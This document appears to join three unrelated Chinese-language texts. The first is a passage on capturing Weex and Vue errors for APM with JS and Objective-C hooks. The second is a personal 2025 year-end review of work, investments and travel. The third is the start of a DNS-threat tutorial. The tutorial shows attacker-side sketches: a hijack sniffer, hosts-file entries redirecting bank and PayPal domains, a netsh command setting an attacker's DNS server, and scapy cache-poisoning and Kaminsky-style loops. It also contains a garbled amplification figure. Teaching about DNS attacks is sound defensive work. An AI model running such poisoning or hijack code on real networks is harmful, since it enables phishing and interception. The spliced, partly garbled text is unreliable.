WeexInstance.prototype.requireModule = function requireModule(moduleName) {
  // 1. 基础校验:Weex实例是否有效(比如是否已销毁)
  var id = getId(this); // 获取当前Weex实例ID
  if (!(id && this.document && this.document.taskCenter)) {
    console.error("[JS Framework] Failed to requireModule(\"" + moduleName + "\"), instance doesn't exist.");
    return;
  }

  // 2. 关键校验:检查Module是否在Native侧注册过
  if (!isRegisteredModule(moduleName)) {
    console.warn("[JS Framework] using unregistered weex module \"" + moduleName + "\"");
    return;
  }

  // 3. 核心:创建Module代理对象(并非真实对象,仅封装桥接调用)
  var moduleProxy = {};
  // 获取该Module在Native侧注册的所有方法(提前从Native同步到JS的方法映射表)
  var moduleMethods = getRegisteredMethods(moduleName);
  
  // 4. 为代理对象绑定方法:调用方法时触发JS-Native桥接
  moduleMethods.forEach(function(methodName) {
    moduleProxy[methodName] = function() {
      // 封装调用参数:实例ID、Module名、方法名、参数、回调
      var args = Array.prototype.slice.call(arguments);
      var callback = null;
      // 提取最后一个参数作为回调(Weex约定)
      if (typeof args[args.length - 1] === 'function') {
        callback = args.pop();
      }
      
      // 5. 核心:通过taskCenter(桥接核心)调用Native
      this.document.taskCenter.sendNative('callNative', {
        instanceId: id,
        module: moduleName,
        method: methodName,
        params: args,
        callback: callback ? generateCallbackId(callback) : null
      });
    }.bind(this);
  }, this);

  // 6. 返回代理对象给JS侧使用
  return moduleProxy;
};
  • 返回的不是真实的 Module 实例,而是代理对象(Proxy) —— 所有方法调用都会被拦截,转而通过桥接发送到 Native;
  • isRegisteredModule 校验:JS 侧会缓存一份「Native 已注册 Module 列表」(Native 初始化时同步到 JS),避免无效桥接。

方案一:Weex 由于安全设计,没办法直接注入 JS。也就是说想通过“切面”思想,hook JS 侧 requireModule 是行不通的。这种方案,代码如下

// 备份原生requireModule方法
const originalRequireModule = WeexInstance.prototype.requireModule;

// 重写requireModule,在错误触发时主动上报Native
WeexInstance.prototype.requireModule = function (moduleName) {
  // 先执行原生判断逻辑
  const id = getId(this);
  if (!(id && this.document && this.document.taskCenter)) {
    const errorMsg = "[JS Framework] Failed to requireModule(\"" + moduleName + "\"), instance (" + id + ") doesn't exist anymore.";
    // 主动上报“实例不存在”错误到Native
    this.document.taskCenter.sendNative('__weex_apm_report', {
      type: 'module_require_failed',
      subType: 'instance_not_exist',
      moduleName: moduleName,
      message: errorMsg,
      instanceId: id
    });
    console.error(errorMsg);
    return;
  }

  // 核心:拦截“未注册Module”判断
  if (!isRegisteredModule(moduleName)) {
    const warnMsg = "[JS Framework] using unregistered weex module \"" + moduleName + "\"";
    // 主动上报“Module未注册”错误到Native(关键)
    this.document.taskCenter.sendNative('__weex_apm_report', {
      type: 'module_not_registered',
      moduleName: moduleName,
      message: warnMsg,
      instanceId: id,
      timestamp: Date.now()
    });
    // 保留原生warn日志(不影响原有逻辑)
    console.warn(warnMsg);
    return;
  }

  // 执行原生逻辑
  return originalRequireModule.call(this, moduleName);
};

方案二:Native 侧拦截 JS 的 console.warn 调用(无 JS 侵入)

写法1:Weex JS 侧的 console.warn 最终会通过 WXBridgeContext 的 handleJSLog 方法传递到 Native,无需解析最终日志,直接 Hook 该方法拦截 warn 信息,精准匹配 Module 未注册错误

#import <objc/runtime.h>

@implementation NSObject (WXJSLogHook)
+ (void)load {
    static dispatch_once_t onceToken;
    dispatch_once(&onceToken, ^{
        // 获取WXBridgeContext类(无需头文件)
        Class bridgeContextClass = NSClassFromString(@"WXBridgeContext");
        if (!bridgeContextClass) return;
        
        // Hook处理JS日志的核心方法:handleJSLog:
        SEL handleJSLogSel = NSSelectorFromString(@"handleJSLog:");
        Method originalMethod = class_getInstanceMethod(bridgeContextClass, handleJSLogSel);
        if (!originalMethod) return;
        
        SEL swizzledSel = NSSelectorFromString(@"weex_apm_handleJSLog:");
        Method swizzledMethod = class_getInstanceMethod(self, swizzledSel);
        class_addMethod(bridgeContextClass, swizzledSel, method_getImplementation(swizzledMethod), method_getTypeEncoding(swizzledMethod));
        method_exchangeImplementations(originalMethod, swizzledMethod);
    });
}

// Hook后的handleJSLog方法:拦截JS侧的warn日志
- (void)weex_apm_handleJSLog:(NSDictionary *)logInfo {
    // 1. 先执行原方法,保留原有日志输出逻辑
    [self weex_apm_handleJSLog:logInfo];
    
    // 2. 解析JS日志信息(logInfo格式:{level: 'warn', msg: 'xxx', ...})
    NSString *logLevel = logInfo[@"level"];
    NSString *logMsg = logInfo[@"msg"];
    
    // 3. 精准匹配“未注册Module”的warn
    if ([logLevel isEqualToString:@"warn"] && [logMsg containsString:@"using unregistered weex module"]) {
        // 提取Module名称
        NSRegularExpression *regex = [NSRegularExpression regularExpressionWithPattern:@"using unregistered weex module \"(.*?)\"" options:0 error:nil];
        NSTextCheckingResult *match = [regex firstMatchInString:logMsg options:0 range:NSMakeRange(0, logMsg.length)];
        NSString *moduleName = match ? [logMsg substringWithRange:match.rangeAtIndex(1)] : @"";
        
        // 4. 构造APM数据上报
        NSDictionary *apmData = @{
            @"error_type": @"weex_module_not_registered",
            @"module_name": moduleName,
            @"message": logMsg,
            @"source": @"js_console_warn", // 标记来源:JS console.warn
            @"timestamp": @([[NSDate date] timeIntervalSince1970] * 1000)
        };
        
        // 调用 APM SDK 接口,数据先落库,后续统一按照数据上报策略,从本地 DB 捞取、聚合、上报
        // [YourAPMManager reportWeexError:apmData];
    }
}
@end

核心优势

  • 无侵入:无需修改 / 注入 JS 代码,纯 Native 侧实现;
  • 精准:拦截的是 JS 侧传递到 Native 的原始日志数据(而非最终打印的字符串),无格式误差;
  • 覆盖全:所有 JS 侧的console.warn都会经过此方法,100% 覆盖 Module 未注册场景

写法二:由于 Weex 代码是大量的存量业务代码,很稳定。而且 Weex 官方好几年不更新,所以我们内部私有化 Weex SDK,也就没有采取 Hook 手段。而是直接修改源码,WXBridgeContext.m+ (void)handleConsoleOutputWithArgument:(NSArray *)arguments logLevel:(WXLogFlag)logLevel 方法。比如:

+ (void)handleConsoleOutputWithArgument:(NSArray *)arguments logLevel:(WXLogFlag)logLevel
{
    NSMutableString *string = [NSMutableString string];
    [string appendString:@"jsLog: "];
    [arguments enumerateObjectsUsingBlock:^(JSValue *jsVal, NSUInteger idx, BOOL *stop) {
        [string appendFormat:@"%@ ", jsVal];
        if (idx == arguments.count - 1) {
            if (logLevel) {
                if (WXLogFlagWarning == logLevel || WXLogFlagError == logLevel) {
                    if ([string containsString:@"using unregistered weex module"]) {
                        // 提取Module名称
                        NSRegularExpression *regex = [NSRegularExpression regularExpressionWithPattern:@"using unregistered weex module \"(.*?)\"" options:0 error:nil];
                        NSTextCheckingResult *match = [regex firstMatchInString:string options:0 range:NSMakeRange(0, string.length)];
                        NSString *moduleName = match ? [string substringWithRange:[match rangeAtIndex:1]] : @"";
                        
                        // 接入收口工具类
                        NSString *exceptionMsg = [NSString stringWithFormat:@"JS require未注册模块:%@,原始日志:%@", moduleName, string];
                        NSDictionary *customExt = @{@"moduleName": moduleName};
                        NSString *instanceId = [WXSDKEngine topInstance].instanceId ?: @"";
                        NSString *bundleUrl = [WXSDKEngine topInstance].scriptURL.absoluteString ?: @"";
                        [[WXExceptionReporter sharedInstance] reportExceptionWithCode:WXCustomExceptionCode_Module_NotRegistered
                                                                        exceptionType:WXCustomExceptionType_Module
                                                                            instanceId:instanceId
                                                                             function:@"handleConsoleOutputWithArgument:logLevel:"
                                                                         exceptionMsg:exceptionMsg
                                                                            bundleUrl:bundleUrl
                                                                         customExtParams:customExt];
                    }
                    
                    id<WXAppMonitorProtocol> appMonitorHandler = [WXSDKEngine handlerForProtocol:@protocol(WXAppMonitorProtocol)];
                    if ([appMonitorHandler respondsToSelector:@selector(commitAppMonitorAlarm:monitorPoint:success:errorCode:errorMsg:arg:)]) {
                        [appMonitorHandler commitAppMonitorAlarm:@"weex" monitorPoint:@"jswarning" success:NO errorCode:@"99999" errorMsg:string arg:[WXSDKEngine topInstance].pageName];
                    }
                }
                WX_LOG(logLevel, @"%@", string);
            } else {
                [string appendFormat:@"%@ ", jsVal];
                WXLogInfo(@"%@", string);
            }
        }
    }];
}

WeexRequireModuleErrorAPM.png

2. JS 调用 Moudle 方法失败

Native 注册了一个负责逻辑的 Module,但是在 JS 侧使用的时候,要么方法名写错了,要么参数少传了,都可能导致预期的逻辑执行错误,发生不符合预期的行为。

1. 点击事件工作原理

核心问题:点击事件发生时,如何根据 Component 的点击事件定位到该 Component 在 Vue DSL 中声明的事件?

第一步:页面初始化时,JS 侧构建事件映射表。 Weex 页面渲染时,会为每个组件做2件事情:

  • 生成组件唯一标识:每个组件都有 ref/componentId/docId,类似组件身份证
  • 绑定事件与方法:解析 @click="handleButtonClick" 时,JS 会将「组件 ID + 事件类型(click)」作为 key,handleButtonClick 作为 value,一起存进组件实例的映射表里,(对应下面的 this.event[type]

第二步:Native 侧捕获点击,携带关键信息调用 fireEvent。 Native 侧能拿到 componentId,是因为渲染组件时,JS 侧会把组件 ID 同步给 Native 渲染引擎(WXComponent),Native 控件和 JS 组件实例通过 ID 一一绑定

第三步:JS 侧调用 fireEvent 方法,其内部通过 ID + 事件类型 找方法。

  • 定位组件实例:JS 通过 componentID(代码里的 this.ref)找到组件实例。
  • 查找事件映射:从组件实例的 this.event 里根据 type (如 click)找到具体的 eventDesc(包含具体的 handler)
  • 发起调用 handler.call
/**
   * Fire an event manually.
   * @param {string} type type
   * @param {function} event handler
   * @param {boolean} isBubble whether or not event bubble
   * @param {boolean} options
   * @return {} anything returned by handler function
   */
  Element.prototype.fireEvent = function fireEvent (type, event, isBubble, options) {
    var result = null;
    var isStopPropagation = false;
    var eventDesc = this.event[type];
    if (eventDesc && event) {
      var handler = eventDesc.handler;
      event.stopPropagation = function () {
        isStopPropagation = true;
      };
      if (options && options.params) {
        result = handler.call.apply(handler, [ this ].concat( options.params, [event] ));
      }
      else {
        result = handler.call(this, event);
      }
    }

    if (!isStopPropagation
      && isBubble
      && (BUBBLE_EVENTS.indexOf(type) !== -1)
      && this.parentNode
      && this.parentNode.fireEvent) {
      event.currentTarget = this.parentNode;
      this.parentNode.fireEvent(type, event, isBubble); // no options
    }

    return result
  };
2. JS 调用 module 方法,方法名错误

Native 注册的 Module 方法名为 multiply:num2:callback:,而在 JS 侧调用的时候方法名多加了几个字符,造成方法名对不上,方法调用失败的问题。

用户点击屏幕上的 UI 控件(此处就是注册 Component [WXSDKEngine registerComponent:@"color-button" withClass:[WXColorButtonComponent class]])。

Weex 统一给 Comonent 添加了分类来负责事件的处理。WXComponent+Events。源码中 addClickEvent 就是添加了点击事件的监听。当发生点击后会计算点击事件的坐标和时间戳信息,最后封装一个 WXCallJSMethod 对象,方法名固定为 fireEvent。如下堆栈所示:

WeexComponentClickLogic.png

由于 logicCalculation 没有对应的 multiplyWith 方法,所以会报错,被 JS 的 try...catch... 捕获后,通过 console.error 的方式输出异常信息。但是 console.error 被 Native 接管了。所以我们可以在 Native 接管的地方统一拦截处理。只要日志包含 Failed to invoke the event handler 就可以认为是因为方法名问题,导致调用方法出错

代码如下:

+ (void)handleConsoleOutputWithArgument:(NSArray *)arguments logLevel:(WXLogFlag)logLevel
{
    // ...
    if ([string containsString:@"Failed to invoke the event handler"]) {
        // 原有解析逻辑保留
                        NSString *errorMethodName = @"";
                        NSString *eventType = @"";
                        NSRegularExpression *regex = [NSRegularExpression regularExpressionWithPattern:@"'\\.\\.\\.(?:logicCalculation\\.)([a-zA-Z0-9_]+)\\.\\.\\." options:0 error:nil];
                        NSTextCheckingResult *match = [regex firstMatchInString:string options:0 range:NSMakeRange(0, string.length)];
                        if (match) {
                            errorMethodName = [string substringWithRange:[match rangeAtIndex:1]];
                        }
                        NSRegularExpression *eventRegex = [NSRegularExpression regularExpressionWithPattern:@"event handler of \"([^\"]+)\"" options:0 error:nil];
                        NSTextCheckingResult *eventMatch = [eventRegex firstMatchInString:string options:0 range:NSMakeRange(0, string.length)];
                        if (eventMatch) {
                            eventType = [string substringWithRange:[eventMatch rangeAtIndex:1]];
                        }
                        
                        // 接入收口工具类
                        NSString *exceptionMsg = [NSString stringWithFormat:@"Module方法名错误:%@,事件类型:%@,原始日志:%@", errorMethodName, eventType, string];
                        NSDictionary *customExt = @{
                            @"moduleName": @"logicCalculation",
                            @"methodName": errorMethodName,
                            @"eventType": eventType
                        };
                        NSString *instanceId = [WXSDKEngine topInstance].instanceId ?: @"";
                        NSString *bundleUrl = [WXSDKEngine topInstance].scriptURL.absoluteString ?: @"";
                        [[WXExceptionReporter sharedInstance] reportExceptionWithCode:WXCustomExceptionCode_Module_MethodNotFound
                                                                         exceptionType:WXCustomExceptionType_Module
                                                                            instanceId:instanceId
                                                                              function:@"handleConsoleOutputWithArgument:logLevel:"
                                                                         exceptionMsg:exceptionMsg
                                                                             bundleUrl:bundleUrl
                                                                         customExtParams:customExt];
    }
    // ...
}

效果如下

WeexCallModuleMethodNameMismatch.png

3. JS 调用 module 方法,方法参数个数不匹配

上面已经讲了点击事件的工作流程,调用方法时,除了调用了不存在的方法或者方法名写错了,还有一种情况就是参数个数不匹配。

这种情况如何识别并监控? JS 的事件处理函数里,调用注册的 Module 和对应的方法,会统一走到 WXJSCoreBridge.mm- (void)registerCallNativeModule:(WXJSCallNativeModule)callNativeModuleBlock 给当前的 JSContext 注册好的 callNativeModule 回调里。_jsContext[@"callNativeModule"] = ^JSValue *(JSValue *instanceId, JSValue *moduleName, JSValue *methodName, JSValue *args, JSValue *options) 可以拿到模块名、方法名、参数个数、instanceID 等。拿到实际传递的方法参数列表,再通过模块名根据 ModuleFactory 找到模块类对象,然后利用 runtime 能力,遍历类对象的方法列表,找到对应的 SEL,判断其预期的方法参数个数,然后再和实际传递过来的方法参数个数做比较即可

- (void)registerCallNativeModule:(WXJSCallNativeModule)callNativeModuleBlock
{
    // JS 调用 Native 的方法都会走这里。可以解析到:模块名、方法名、参数数组等信息。可以在这里判断方法参数个数是否相同。
    _jsContext[@"callNativeModule"] = ^JSValue *(JSValue *instanceId, JSValue *moduleName, JSValue *methodName, JSValue *args, JSValue *options) {
        // ...
    };
}

在其 callNativeModule 的 block 里,增加一个方法,专门用来判断和检查方法参数个数是否匹配的问题

// 辅助方法:校验Module方法参数个数
- (void)checkModuleParamCount:(NSString *)moduleName
                   methodName:(NSString *)methodName
                 actualParams:(NSArray *)actualParams
                   instanceId:(NSString *)instanceId {
    // 1. 跳过空值/系统模块(避免无意义校验)
    if (!moduleName || !methodName || actualParams.count < 0) return;
    Class moduleClass = [WXModuleFactory classWithModuleName:moduleName];
    if (!moduleClass) return;

    // 2. 拼接完整的方法选择器(Weex Module方法名带冒号,需补全,如multiply→multiply:num2:callback:)
    // 注:若方法名规则固定,可通过模块类的方法列表获取所有selector,匹配前缀
    SEL targetSel = nil;
    unsigned int methodCount = 0;
    Method *methods = class_copyMethodList(moduleClass, &methodCount);
    for (int i = 0; i < methodCount; i++) {
        Method method = methods[i];
        SEL sel = method_getName(method);
        NSString *selStr = NSStringFromSelector(sel);
        // 匹配前缀(如multiply开头的方法)
        if ([selStr hasPrefix:methodName]) {
            targetSel = sel;
            break;
        }
    }
    free(methods);
    if (!targetSel) return;

    // 3. 解析方法签名,计算预期参数个数(减self/_cmd)
    NSMethodSignature *methodSig = [moduleClass instanceMethodSignatureForSelector:targetSel];
    NSInteger weexParamCount = methodSig.numberOfArguments - 2;

    // 4. 判断参数个数是否不匹配
    if (actualParams.count != weexParamCount) {
        // 构造错误信息
        NSString *errorMsg = [NSString stringWithFormat:@"Module:%@ 方法:%@ 参数个数不匹配,预期%ld个,实际%ld个",
                              moduleName, methodName, weexParamCount, actualParams.count];
        WXLogError(@"[WeexParamError] %@", errorMsg);

        // 5. 上报APM(核心:生产环境监控)
        NSDictionary *apmData = @{
            @"error_type": @"weex_module_param_count_mismatch",
            @"module_name": moduleName,
            @"method_name": methodName,
            @"expected_count": @(weexParamCount),
            @"actual_count": @(actualParams.count),
            @"actual_params": actualParams,
            @"instance_id": instanceId ?: @"",
            @"timestamp": @([[NSDate date] timeIntervalSince1970] * 1000),
            @"message": errorMsg
        };

        // APM:异步上报,避免阻塞JS桥接
        NSLog(@"APM 数据上报通道,【JS 通过 Module 调用 Native 方法,参数个数不匹配】:%@", apmData);
    }
}

效果如下:

WeexCallNativeModuleParamsError.png

5. Vue 层面异常

Weex 底层依靠 Vue 实现,差异化就是 VM 去通过 Bridge 在 WeexSDK Native 去做绘制。异常方面除了常规的 JS 运行时异常(如语法错误、类型错误等 7 种),Vue 框架自身的逻辑层、编译层、响应式系统、组件生命周期 等环节会抛出专属异常,这些异常必须通过 Vue.config.errorHandler 兜底。

分析 Weex 源码中:packages/weex-js-framework/index.js/

function handleError (err, vm, info) {
  if (vm) {
    var cur = vm;
    while ((cur = cur.$parent)) {
      var hooks = cur.$options.errorCaptured;
      if (hooks) {
        for (var i = 0; i < hooks.length; i++) {
          try {
            var capture = hooks[i].call(cur, err, vm, info) === false;
            if (capture) { return }
          } catch (e) {
            globalHandleError(e, cur, 'errorCaptured hook');
          }
        }
      }
    }
  }
  globalHandleError(err, vm, info);
}

function globalHandleError (err, vm, info) {
  if (config.errorHandler) {
    try {
      return config.errorHandler.call(null, err, vm, info)
    } catch (e) {
      logError(e, null, 'config.errorHandler');
    }
  }
  logError(err, vm, info);
}

WeexCaptureVueError.png

源码中 nextTick、Vue.prototype.$emit、callHook、Watcher.prototype.get、Watcher.prototype.run、renderRecyclableComponentTemplate、Vue.prototype._render 等等都调用了 handleError 方法。 Vue 内部对部分异常做了封装/拦截,避免直接冒泡到全局(防止阻断应用整体运行),但会通过 errorHandler 暴露出来。

举个例子,WeexAPM 类可以封装为:

/**
 * APM
 */
class WeexAPM {
  /**
   * 获取当前的叶子节点
   * @param {*} Vue vm
   * @returns 当前组件名称
   */
  formatComponentName (vm) {
    if (vm.$root === vm) return 'root'
    var name = vm._isVue
      ? (vm.$options && vm.$options.name) ||
        (vm.$options && vm.$options._componentTag)
      : vm.name
    return (
      (name ? 'component <' + name + '>' : 'anonymous component') +
      (vm._isVue && vm.$options && vm.$options.__file
        ? ' at ' + (vm.$options && vm.$options.__file)
        : '')
    )
  }

  /**
   * 处理Vue错误提示
   */
  monitor (Vue) {
    if (!Vue) {
      return
    }
    // 错误处理
    Vue.config.errorHandler = (err, vm, info) => {
      let componentName = 'unknown'
      if (vm) {
        componentName = this.formatComponentName(vm)
      }
      let errorInfo = {
        name: err.name,
        reason: err.message,
        callStack: err.stack,
        componentName: componentName,
        info: info,
        level: 'VUE_ERROR'
      }
      try {
        const weexAPMUploader = weex.requireModule('weexAPMUploader')
        weexAPMUploader.uploadException(errorInfo)
      } catch (error) {
        console.error('APMMonitor 能力有问题,请检查是否注册了weexAPMUploader模块' + error)
      }
    }
  }
}

export default WeexAPM

在捕获到 Vue 层面的异常时,可以调用注册好的 weexAPMUploader module 能力,将数据传输到 Native 侧,由 Native 侧进行统一的参数组装,最后调用 APM SDK 的能力进行数据写入数据库、按照策略上报到 APM 服务端进行消费。

模拟产生 Vue 层级的错误:给一个字符串类型的数据,在计算属性里调用 toFixed 方法。按钮的点击事件里将数据改为字符串,则会报错。 可以看到被 Vue.config.errorHandler 捕获了,后续交给 Native 处理即可。

WeexMockVueAPM.png

2025 年个人总结

工作

2025 年是艰难的一年,上半年玩教具业务同比下滑,下半年尝试了一些营销推广,业务量有所稳定,但是赢亏承压。最后一年下来,虽然没亏钱,但是也没挣到钱。好在团队在持续成长,每个岗位的人都比去年有了长足的进步和成长。

2025 年也立项了好几个新项目,这些项目会陆续在 2026 年上线。前面的播种会积累到 2026 年的收获,所以未来怎么样,还是挺值得期待的。

读书

25 年一共读了 8 本书,以下是读书笔记:

其中 《不落俗套的成功》《广告的没落,公关的崛起》 是我今年最喜欢的两本书,一本书指导我开始更多关注配置,另一本书指导我如何做品牌。

25 年还开始订阅了纸质版本的《三联生活周刊》,加上雪球 App 每个月给我寄月刊。所以整个 2025 年的阅读量还是不小的。

感悟

今年思考人生,总结了 4 篇文章:

其中“多巴胺”系统那篇我自认为对我自己帮助最大,有效指导了我如何择友,如何工作,如何培养兴趣。

保险那篇文章,也让我理清了保险产品的购买思路,不再纠结要不要买保险,怎么买保险。

编程教学

今年继续在教小朋友编程,关于编程竞赛,今年又总结了如下文章:

加上去年写的三篇,内容越来越丰富了:

财务

2025 是财务收获的一年。

  • 首先是年初公司允许大家出让期权,于是我卖了一些期权,补充了一些现金流。
  • 2025 年初赶个 Deepseek 横空出世,整个港股大涨,我刚好又在那个时候有一些港币,配置了一些港股资产,于是买中了恒生高股息率,比亚迪,工商银行等股票,原来持有的腾讯也大涨。
  • A 股这边,之前配置的建平从亏损变成浮盈;之前配置的 500 指数增强产品一下子也有 40% 的涨幅。
  • 美股也不用说,标普和纳指继续涨,考虑到已经浮盈很多,我在 12 月将仓位全部清空了。
  • 2025 年一直在定投黄金,最后也成功在一个相对低位(均价 700 多)配置了一定比例的黄金,现在也有 20% 的涨幅。

当然,2025 年配置的新能源组合也亏很多,特别是理想汽车,有 -30% 多的亏损。

更详细的业绩总结如下:

  • 港股:
    • 腾讯(00700),成本 374,现价 599,+60%
    • 恒生高股息率(03110)
      • 第一笔:成本 23,现价 30,+30%
      • 第二笔:成本 31,现价 30,-2%
    • 工商银行,买入 5.4,卖出 6.07,含分红赢利约 15%
    • 新能源组合:
      • 理想汽车,-30%
      • 小鹏汽车,-4%
      • 小米,1%
      • 比亚迪,7%
  • 美股:
    • 标普和纳指均清仓,整体收益约 10%
  • 私募
    • 500 指增,+44%
    • 建平远航,+72%
  • A 股
    • 招商银行,+11%
    • 红利 ETF 组合,+2%
    • 恒生科技 ETF,-6%
  • 黄金:
    • 成本 795,现价 1071,+34%

尝鲜

24 小时血糖仪

今年戴了两次 24 小时的血糖仪,每次佩戴 14 天。我整体感觉很受用,它可以监测到不同食物和运动对血糖的影响。

然后我理解了两个事情:

  • 一个是我之前饭后犯困,我大概也猜到是晕碳,现在戴上之后明显就能确认是这个原因。而且我尝试调整饮食之后,因为血糖上升慢,就不犯困了。
  • 第二就是理解了饭后散步和遛弯为什么重要,对比饭后坐着和散步的血糖走势,我一下子就发现散步对降血糖的意义了。所以饭后走个 10 来分钟其实对身体的帮助是很大的。

另外这东西还有一个好处,就是会促进我轻度运动。我现在天气好的时候会尽量骑车上下班,因为这样我的血糖走势会很漂亮。

另外,我对比不同时段吃同样的水果对血糖的影响,明显餐后的影响更小,如下图:

我也总结了一些吃饭顺序的经验:

  • 同样吃一颗橙子,餐前和餐后血糖上升速度和峰值差异很大。优先餐后吃水果,不要空腹吃。
  • 同样是吃饭,先吃蔬菜和后吃蔬菜升血糖速度也差别很大。先吃蔬菜,最后吃碳水。
  • 面食对血糖的提升是迅速的,少吃为妙。

3D打印和建模

公司因为需要,采购了拓竹的 3D 打印机,于是我有一段时间就很痴迷它。拓竹真的是国货之光,把原来只能极客使用的 3D 打印机做成了可以普及的消费品的品质,一些配平等复杂设置都不需要人工介入,机器自动就能完成。

我顺便还在Tinkercad 上学习了建模,然后利用自己学到的建模知识,帮老婆做了一个定制款的精油瓶。它主要可以完美适配我们家的桌面,并且做得很紧凑,可以放更多的瓶子。最后我买了一种松木质感的耗材,这样放在桌子上也很搭。

以下是设计稿截图:

以下是效果:

骑车

今年狠狠地试了一下骑行,但是没有花钱买装备。一方面是因为我的运动量不大,频率不高;另一方面也是希望想骑的时候可以随时骑,想放弃的时候就可以放弃,没有任何压力,共享单车月卡在这方面还是挺方便的。

最狠的一次,我花了周末一个下午绕三环骑了一圈(下图,一共 50 公里)。不过冬天骑行的体验不佳,已经断了有一个月了,希望天气暖和之后可以继续骑起来。

旅行

新疆

五一去了新疆,很值得去的一个地方。我们租了一辆理想 L8,驰骋在满是风力发电站的草原上,感觉非常放松。

希腊

暑假去了希腊。

  • 欧洲的衰败让人感叹时代和周期的变化,当地有很多没人住的空置房(下图:我们下榻酒店附近的一处空置房)。
  • 猫咪在希腊很受人待见,大街和公园上有很多猫咪。
  • 在希腊吃了几天各种西餐之后,最后父母还是忍不住选择中餐,结果我们就把希腊的中餐馆吃了个遍。希腊的物价在欧洲相对低,一个菜大概 80 元人民币左右。
  • 在希腊我也租了一辆车,是一辆 9 座的现代混动 Staria MPV,也非常好开。我们还乘坐渡轮(下图)把车运到了扎金索斯岛,在岛上放松了好几天。

沈阳

十一去了沈阳,就一个感受,物价实在太低太低,锅包肉大概 20 多块钱。租了一辆比亚迪的宋 Pro 混动,油耗特别低,每百公里油耗大概只有 4L。下图是我实际驾驶的数据,因为这辆车只能慢充,所以我一直在亏电情况下行驶,并没有充过电。

这也让我明白了比亚迪为什么出海那么厉害,这么低的油耗在能源较贵的欧洲,其实很有市场。

25 年的目标回顾

  • 工作:硬件稳中有增,图书赢亏打正。带好图书业务。
    • ❎ 硬件既不稳,也不增。
    • ✅ 图书实际达成 60 分吧。图书赢亏基本打正了,但是要说有多好,还完全谈不上。
  • 理财:做好配置,找到能拿 10 年的标的,并能坚定持有。
    • ✅ 配置工作基本完成。先拿两年看看,看自己拿不拿得住。
  • 个人:读 6 本书。编程教学继续累进。
    • ✅ 最后读了 8 本书。编程教学写了 11 篇总结。

26 年的目标

  • 工作:
  • 理财:
    • 不折腾,配置+再平衡。
  • 个人:
    • 读 6 本书。
    • 俯卧撑能连续做 20 个。
    • 骑车绕四环一圈。

个人 Milestone

好象没啥特别能说的,如果非要有什么,就是产出了 《构建你的“多巴胺”系统》 这篇文章吧。

DNS安全威胁:从劫持、污染到放大攻击的演练

前言:DNS——互联网的“隐形电话簿”

想象一下,如果没有DNS,访问每个网站都需要记住一串像192.168.1.1这样的数字。DNS让互联网变得人性化,但正是这个每日处理数千亿次查询的系统,却成为了网络攻击者的黄金目标。今天,我们将深入探索DNS世界的阴暗面,了解那些威胁我们网络安全的各种攻击手段。

一、DNS劫持:当你的导航系统被黑客接管

1.1 什么是DNS劫持?

DNS劫持就像有人修改了你的GPS导航系统,将“前往银行”的指令变成了“前往黑客的假银行”。

技术原理: 攻击者通过中间人攻击或恶意软件,篡改DNS响应,将合法域名解析到恶意IP地址。

# 攻击者视角的DNS劫持流程
def dns_hijack_attack():
    # 1. 监控网络流量
    sniff_packets(filter="udp port 53")
    
    # 2. 拦截DNS查询
    if packet.haslayer(DNS) and packet[DNS].qd.qname == "bank.com":
        # 3. 伪造响应,指向恶意服务器
        malicious_ip = "192.168.1.100"
        send_spoofed_response(packet, malicious_ip)
    
    # 用户访问bank.com,实际连接到攻击者服务器

1.2 劫持的多种形式

路由器劫持

# 攻击者攻破家用路由器后修改DNS设置
# 原始配置:
# nameserver 8.8.8.8  # Google DNS

# 被篡改后:
# nameserver 10.0.0.1  # 攻击者控制的DNS服务器

本地Hosts文件劫持

# Windows hosts文件位置:C:\Windows\System32\drivers\etc\hosts
# 恶意软件添加:
192.168.1.100  www.bank.com
192.168.1.100  www.paypal.com
# 所有银行访问都重定向到攻击者服务器

ISP级别的劫持

// 某些ISP会劫持不存在的域名
// 用户查询:nonexistent-website.com
// 正常响应:NXDOMAIN(域名不存在)
// 劫持响应:指向ISP的广告或搜索页面

1.3 真实案例:巴西银行大劫案

2016年巴西银行攻击

  • 手法:恶意软件修改路由器和电脑的DNS设置
  • 目标:40多家巴西银行
  • 损失:数百万美元
  • 技术细节
    # 恶意软件执行的DNS修改
    import subprocess
    
    # 修改Windows DNS设置
    subprocess.run([
        'netsh', 'interface', 'ip', 'set', 'dns',
        'Ethernet', 'static', '185.228.168.168'
    ])
    
    # 185.228.168.168是攻击者控制的恶意DNS服务器
    

二、DNS污染:在互联网水源中投毒

2.1 DNS污染的工作原理

DNS污染又称DNS缓存投毒,攻击者向DNS缓存中注入虚假记录。

攻击时序图

sequenceDiagram
    用户->>本地DNS: 查询 evil.com
    本地DNS->>根服务器: 查询 .com NS
    攻击者->>本地DNS: 伪造响应(假的权威服务器)
    本地DNS->>假权威服务器: 查询 evil.com
    假权威服务器->>本地DNS: 返回恶意IP
    本地DNS->>用户: 返回恶意IP
    用户->>恶意网站: 访问 (被攻击)

2.2 技术实现细节

class DNSPoisoningAttack:
    def __init__(self, target_dns_server):
        self.target = target_dns_server
        self.transaction_id = random.randint(0, 65535)
    
    def poison_cache(self, domain, malicious_ip):
        # 关键:预测DNS查询的Transaction ID
        for txid in range(65536):
            # 伪造权威服务器响应
            spoofed_response = IP(dst=self.target)/UDP(dport=53)/DNS(
                id=txid,
                qr=1,  # 响应标志
                qd=DNSQR(qname=domain),
                an=DNSRR(rrname=domain, ttl=86400, rdata=malicious_ip)
            )
            send(spoofed_response)
            
            # 同时发送大量查询触发目标DNS的查询
            trigger_query = IP(dst=self.target)/UDP()/DNS(
                id=txid,
                qd=DNSQR(qname=domain)
            )
            send(trigger_query)

2.3 Kaminsky漏洞:改变游戏规则

2008年发现,允许攻击者在秒级时间内污染DNS缓存:

def kaminsky_exploit(target_dns, domain):
    # 1. 查询目标域名的子域名(每次不同)
    for i in range(1000):
        subdomain = f"{random_string(10)}.{domain}"
        
        # 2. 触发目标DNS向上游查询
        send_query(target_dns, subdomain)
        
        # 3. 发送大量伪造响应,尝试预测Transaction ID
        for txid in range(65536):
            send_spoofed_response(
                target_dns,
                subdomain,
                malicious_ip,
                txid
            )
        
        # 4. 如果成功,整个域的缓存都被污染
        if check_poisoned(target_dns, domain):
            return True
    
    return False

三、DNS放大攻击:小问题引发大灾难

3.1 放大效应的数学原理

基本公式:放大倍数 = 响应大小 / 查询大小

查询例子:example.com ANY (60字节)
响应例子:包含所有记录类型 (4000字节)
放大倍数:4000 ÷ 6067

不同类型记录的放大效果

记录类型 查询大小 典型响应 放大倍数
A记录 60字节 100字节 1.7倍
MX记录 60字节 500字节 8.3倍
TXT记录 60字节 3000字节 50倍
